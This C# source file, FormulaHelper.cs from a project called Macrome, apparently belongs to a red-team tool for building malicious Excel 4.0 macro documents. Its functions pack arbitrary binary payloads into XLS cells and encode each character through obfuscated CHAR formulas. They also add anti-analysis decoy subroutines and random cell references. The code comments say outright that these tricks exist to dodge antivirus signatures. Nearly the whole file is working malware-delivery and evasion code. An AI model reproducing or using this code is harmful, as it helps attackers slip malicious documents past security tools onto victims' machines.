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FormulaHelper.cs
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FormulaHelper.cs
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using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using b2xtranslator.Spreadsheet.XlsFileFormat;
using b2xtranslator.Spreadsheet.XlsFileFormat.Ptg;
using b2xtranslator.Spreadsheet.XlsFileFormat.Records;
using b2xtranslator.xls.XlsFileFormat.Ptg;
using b2xtranslator.xls.XlsFileFormat.Records;
using b2xtranslator.xls.XlsFileFormat.Structures;
namespace Macrome
{
public static class FormulaHelper
{
public const string TOOLONGMARKER = "<FORMULAISTOOLONG>";
/// <summary>
/// Convert a binary payload into a series of cells representing the binary data.
/// Can be iterated across as described in https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/
///
/// Because of additional binary processing logic added on May 28/29 (the TOOLONGMARKER usage), this no longer needs to identify
/// if a character is printable or not.
/// </summary>
/// <param name="payload"></param>
/// <returns></returns>
public static List<string> BuildPayloadMacros(byte[] payload)
{
int maxCellSize = 255;
List<string> macros = new List<string>();
string curMacroString = "";
foreach (byte b in payload)
{
if (b == (byte) 0)
{
throw new ArgumentException("Payloads cannot contain null bytes");
}
curMacroString += (char) b;
if (curMacroString.Length == maxCellSize)
{
macros.Add(curMacroString);
curMacroString = "";
}
}
macros.Add(curMacroString);
macros.Add("END");
return macros;
}
private static Stack<AbstractPtg> GetGotoForCell(int rw, int col)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgRef(rw, col, false, false));
ptgStack.Push(new PtgFuncVar(FtabValues.GOTO, 1, AbstractPtg.PtgDataType.VALUE));
return ptgStack;
}
private static Stack<AbstractPtg> GetCharSubroutineForInt(ushort charInt, string varName,
int functionLabelOffset)
{
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.IF, 3, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgMissArg());
ptgList.Add(new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 1, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgName(functionLabelOffset));
ptgList.Add(new PtgFuncVar(FtabValues.SET_NAME, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgInt(charInt));
ptgList.Add(new PtgStr(varName, true));
ptgList.Reverse();
return new Stack<AbstractPtg>(ptgList);
}
private static Stack<AbstractPtg> GetAntiAnalysisCharSubroutineForInt(ushort charInt, string varName, string decoyVarName,
int functionLabelOffset)
{
int numAndArgs = 2;
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.IF, 3, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgMissArg());
ptgList.Add(new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 1, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgName(functionLabelOffset));
ptgList.Add(new PtgFuncVar(FtabValues.AND, numAndArgs, AbstractPtg.PtgDataType.VALUE));
Random r = new Random();
int correctArg = r.Next(0, numAndArgs);
for (int i = 0; i < numAndArgs; i += 1)
{
ptgList.Add(new PtgFuncVar(FtabValues.SET_NAME, 2, AbstractPtg.PtgDataType.VALUE));
if (i == correctArg)
{
ptgList.Add(new PtgInt(charInt));
ptgList.Add(new PtgStr(varName, true));
}
else
{
ptgList.Add(new PtgInt((ushort)r.Next(1,255)));
ptgList.Add(new PtgStr(decoyVarName, true));
}
}
ptgList.Reverse();
return new Stack<AbstractPtg>(ptgList);
}
public static Formula CreateCharInvocationFormulaForLblIndex(ushort rw, ushort col, int lblIndex)
{
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.RETURN, 1, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgName(lblIndex));
ptgList.Reverse();
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(ptgList);
Formula charInvocationFormula = new Formula(new Cell(rw, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return charInvocationFormula;
}
public static Formula CreateFormulaInvocationFormulaForLblIndexes(ushort rw, ushort col, int lblIndex1, int lblIndex2)
{
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.RETURN, 1, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgFuncVar(CetabValues.FORMULA, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgName(lblIndex1));
ptgList.Add(new PtgName(lblIndex2));
ptgList.Reverse();
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(ptgList);
Formula formulaInvocationFormula = new Formula(new Cell(rw, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return formulaInvocationFormula;
}
public static Stack<AbstractPtg> GetAlertPtgStack(string alertString)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgStr("Hello World!", false, AbstractPtg.PtgDataType.VALUE));
ptgStack.Push(new PtgInt(2, AbstractPtg.PtgDataType.VALUE));
ptgStack.Push(new PtgFuncVar(CetabValues.ALERT, 2, AbstractPtg.PtgDataType.VALUE));
return ptgStack;
}
public static Formula GetGotoFormulaForCell(int rw, int col, int dstRw, int dstCol, int ixfe = 15)
{
Cell curCell = new Cell(rw, col, ixfe);
Stack<AbstractPtg> ptgStack = GetGotoForCell(dstRw, dstCol);
Formula gotoFormula = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return gotoFormula;
}
public static Stack<AbstractPtg> GetCharPtgForInt(ushort charInt)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgInt(charInt));
//An alternate way to invoke the CHAR function by using PtgFuncVar instead
//TODO [Stealth] this is sig-able and we'll want to do something more generalized than abuse the fact AV doesn't pay attention
ptgStack.Push(new PtgFuncVar(FtabValues.CHAR, 1, AbstractPtg.PtgDataType.VALUE));
// ptgStack.Push(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE));
return ptgStack;
}
public static Stack<AbstractPtg> GetObfuscatedCharPtgForInt(ushort charInt)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
Random r = new Random();
//Allegedly we max out at 0xFF for column values...could be a nice accidental way of creating alternate references though
//Generate a random PtgRef to start the stack - if it's an empty cell, this is a no-op if we end with a PtgConcat
ptgStack.Push(new PtgRef(r.Next(1000, 2000), r.Next(0x20, 0x9F), false, false, AbstractPtg.PtgDataType.VALUE));
ptgStack.Push(new PtgNum(charInt));
ptgStack.Push(new PtgInt(0));
ptgStack.Push(new PtgFunc(FtabValues.ROUND, AbstractPtg.PtgDataType.VALUE));
//An alternate way to invoke the CHAR function by using PtgFuncVar instead
// ptgStack.Push(new PtgFuncVar(FtabValues.CHAR, 1, AbstractPtg.PtgDataType.VALUE));
ptgStack.Push(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE));
//Merge the random PtgRef we generate at the beginning
ptgStack.Push(new PtgConcat());
return ptgStack;
}
public static List<BiffRecord> ConvertStringsToRecords(List<string> strings, int rwStart, int colStart, int dstRwStart, int dstColStart,
int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
{
List<BiffRecord> formulaList = new List<BiffRecord>();
int curRow = rwStart;
int curCol = colStart;
int dstCurRow = dstRwStart;
int dstCurCol = dstColStart;
//TODO [Anti-Analysis] Break generated formula apart with different RUN()/GOTO() actions
foreach (string str in strings)
{
string[] rowStrings = str.Split(MacroPatterns.MacroColumnSeparator);
List<BiffRecord> stringFormulas = new List<BiffRecord>();
for (int colOffset = 0; colOffset < rowStrings.Length; colOffset += 1)
{
//Skip empty strings
if (rowStrings[colOffset].Trim().Length == 0)
{
continue;
}
string rowString = rowStrings[colOffset];
int maxCellLength = 0x2000;
//One Char can take up to 8 bytes
int concatCharLength = 8;
List<BiffRecord> formulas;
if ((rowString.Length * concatCharLength) > maxCellLength)
{
//Given that the max actual length for a cell is 255 bytes, this is unlikely to ever be used,
//but the logic is being kept in case there are edge cases or there ends up being a workaround
//for the limitation
List<string> chunks = rowString.SplitStringIntoChunks(250);
formulas = ConvertChunkedStringToFormulas(chunks, curRow, curCol, dstCurRow, dstCurCol, ixfe, packingMethod);
}
else
{
string curString = rowStrings[colOffset];
//If the string is technically 255 bytes, but needs additional encoding, we break it into two parts:
//ex: "=123456" becomes "=CHAR(=)&CHAR(1)&CHAR(2)&CHAR(3)&RandomCell" and =RandomVarName&"456"
if (curString.StartsWith(FormulaHelper.TOOLONGMARKER))
{
formulas = ConvertMaxLengthStringToFormulas(curString, curRow, curCol, dstCurRow,
dstCurCol + colOffset, ixfe, packingMethod);
}
else
{
formulas = ConvertStringToFormulas(rowStrings[colOffset], curRow, curCol, dstCurRow, dstCurCol + colOffset, ixfe, packingMethod);
}
}
stringFormulas.AddRange(formulas);
//If we're starting to get close to the max rowcount (0xFFFF in XLS), then move to the next row
if (curRow > 0xE000)
{
Formula nextRowFormula = FormulaHelper.GetGotoFormulaForCell(curRow + formulas.Count, curCol, 0, curCol + 1);
stringFormulas.Add(nextRowFormula);
curRow = 0;
curCol += 1;
}
else
{
curRow += formulas.Count;
}
}
dstCurRow += 1;
formulaList.AddRange(stringFormulas);
}
return formulaList;
}
public static List<BiffRecord> ConvertMaxLengthStringToFormulas(string curString, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
{
string actualString =
new string(curString.Skip(FormulaHelper.TOOLONGMARKER.Length).ToArray());
string earlyString = new string(actualString.Take(16).ToArray());
string remainingString = new string(actualString.Skip(16).ToArray());
List<BiffRecord> formulas = new List<BiffRecord>();
int curRow = rwStart;
int curCol = colStart;
Random r = new Random();
int rndCol = r.Next(0x90, 0x9F);
int rndRw = r.Next(0xF000, 0xF800);
formulas.AddRange(ConvertStringToFormulas(remainingString, curRow, curCol, rndRw, rndCol, ixfe, packingMethod));
curRow += formulas.Count;
Cell remainderCell = new Cell(rndRw, rndCol);
List<Cell> createdCells = new List<Cell>();
//Create a formula string like
//"=CHAR(123)&CHAR(234)&CHAR(345)&R[RandomRw]C[RandomCol]";
//To split the 255 bytes into multiple cells - the first few bytes are CHAR() encoded, the remaining can be wrapped in ""s
string macroString = "=";
foreach (char c in earlyString)
{
macroString += string.Format("CHAR({0})&", Convert.ToUInt16(c));
}
macroString += string.Format("R{0}C{1}",rndRw + 1, rndCol + 1);
createdCells.Add(remainderCell);
List<BiffRecord> mainFormula = ConvertStringToFormulas(macroString, curRow, curCol, dstRw, dstCol, ixfe, packingMethod);
formulas.AddRange(mainFormula);
return formulas;
}
public static List<BiffRecord> ConvertChunkedStringToFormulas(List<string> chunkedString, int rwStart, int colStart, int dstRw,
int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
{
List<BiffRecord> formulaList = new List<BiffRecord>();
List<Cell> concatCells = new List<Cell>();
int curRow = rwStart;
int curCol = colStart;
foreach (string str in chunkedString)
{
List<Cell> createdCells = new List<Cell>();
//TODO [Stealth] Perform additional operations to obfuscate static =CHAR(#) signature
foreach (char c in str)
{
Stack<AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod);
ushort charValue = Convert.ToUInt16(c);
if (charValue > 0xFF)
{
ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgStr("" + c, true));
}
Cell curCell = new Cell(curRow, curCol, ixfe);
createdCells.Add(curCell);
Formula charFrm = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
byte[] formulaBytes = charFrm.GetBytes();
formulaList.Add(charFrm);
curRow += 1;
}
Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol);
concatCells.Add(new Cell(curRow, curCol, ixfe));
formulaList.Add(concatFormula);
curRow += 1;
}
Formula concatConcatFormula = BuildConcatCellsFormula(concatCells, curRow, curCol);
formulaList.Add(concatConcatFormula);
curRow += 1;
Stack<AbstractPtg> formulaPtgStack = new Stack<AbstractPtg>();
PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE);
formulaPtgStack.Push(srcCell);
Random r = new Random();
int randomBitStuffing = r.Next(1, 32) * 0x100;
PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false);
formulaPtgStack.Push(destCell);
PtgFuncVar funcVar = new PtgFuncVar(CetabValues.FORMULA, 2);
formulaPtgStack.Push(funcVar);
Formula formula = new Formula(new Cell(curRow, curCol, ixfe), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(formulaPtgStack));
formulaList.Add(formula);
return formulaList;
}
public static Stack<AbstractPtg> GetPtgStackForChar(char c, SheetPackingMethod packingMethod)
{
switch (packingMethod)
{
case SheetPackingMethod.ObfuscatedCharFunc:
return GetObfuscatedCharPtgForInt(Convert.ToUInt16(c));
case SheetPackingMethod.ObfuscatedCharFuncAlt:
return GetCharPtgForInt(Convert.ToUInt16(c));
case SheetPackingMethod.CharSubroutine:
//For now assume the appropriate label is at offset 1 (first lbl record)
return GetCharSubroutineForInt(Convert.ToUInt16(c), UnicodeHelper.VarName, 1);
case SheetPackingMethod.AntiAnalysisCharSubroutine:
//For now assume the appropriate label is at offset 1 (first lbl record)
return GetAntiAnalysisCharSubroutineForInt(Convert.ToUInt16(c), UnicodeHelper.VarName, UnicodeHelper.DecoyVarName, 1);
default:
throw new NotImplementedException();
}
}
private static List<BiffRecord> ConvertStringToFormulas(string str, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
{
List<BiffRecord> formulaList = new List<BiffRecord>();
List<Cell> createdCells = new List<Cell>();
int curRow = rwStart;
int curCol = colStart;
//TODO [Stealth] Perform additional operations to obfuscate static =CHAR(#) signature
foreach (char c in str)
{
Stack<AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod);
ushort charValue = Convert.ToUInt16(c);
if (charValue > 0xFF)
{
ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgStr("" + c, true));
}
Cell curCell = new Cell(curRow, curCol, ixfe);
createdCells.Add(curCell);
Formula charFrm = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
byte[] formulaBytes = charFrm.GetBytes();
formulaList.Add(charFrm);
curRow += 1;
}
List<BiffRecord> formulaInvocationRecords =
BuildFORMULAFunctionCall(createdCells, curRow, curCol, dstRw, dstCol);
formulaList.AddRange(formulaInvocationRecords);
return formulaList;
}
private static List<BiffRecord> BuildFORMULAFunctionCall(List<Cell> createdCells, int curRow, int curCol, int dstRw, int dstCol)
{
List<BiffRecord> formulaList = new List<BiffRecord>();
Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol);
formulaList.Add(concatFormula);
curRow += 1;
Stack<AbstractPtg> formulaPtgStack = new Stack<AbstractPtg>();
PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE);
formulaPtgStack.Push(srcCell);
Random r = new Random();
int randomBitStuffing = r.Next(1, 32) * 0x100;
PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false);
formulaPtgStack.Push(destCell);
PtgFuncVar funcVar = new PtgFuncVar(CetabValues.FORMULA, 2);
formulaPtgStack.Push(funcVar);
Formula formula = new Formula(new Cell(curRow, curCol), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(formulaPtgStack));
formulaList.Add(formula);
return formulaList;
}
public static Formula BuildConcatCellsFormula(List<Cell> cells, int frmRow, int frmCol, int ixfe = 15)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
Cell firstCell = cells.First();
List<Cell> remainingCells = cells.TakeLast(cells.Count - 1).ToList();
PtgRef cellRef = new PtgRef(firstCell.Rw, firstCell.Col, false, false, AbstractPtg.PtgDataType.VALUE);
ptgStack.Push(cellRef);
//TODO [Stealth] Use alternate concat methods beyond PtgConcat, for example CONCATENATE via PtgFuncVar
foreach (Cell cell in remainingCells)
{
PtgConcat ptgConcat = new PtgConcat();
PtgRef appendedCellRef = new PtgRef(cell.Rw, cell.Col, false, false, AbstractPtg.PtgDataType.VALUE);
ptgStack.Push(appendedCellRef);
ptgStack.Push(ptgConcat);
}
Formula f = new Formula(new Cell(frmRow, frmCol, ixfe), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return f;
}
public static List<BiffRecord> GetFormulaRecords(Formula f)
{
if (f.RequiresStringRecord() == false)
{
return new List<BiffRecord>() {f};
}
return new List<BiffRecord>()
{
f,
new STRING("\u0000", true)
};
}
}
}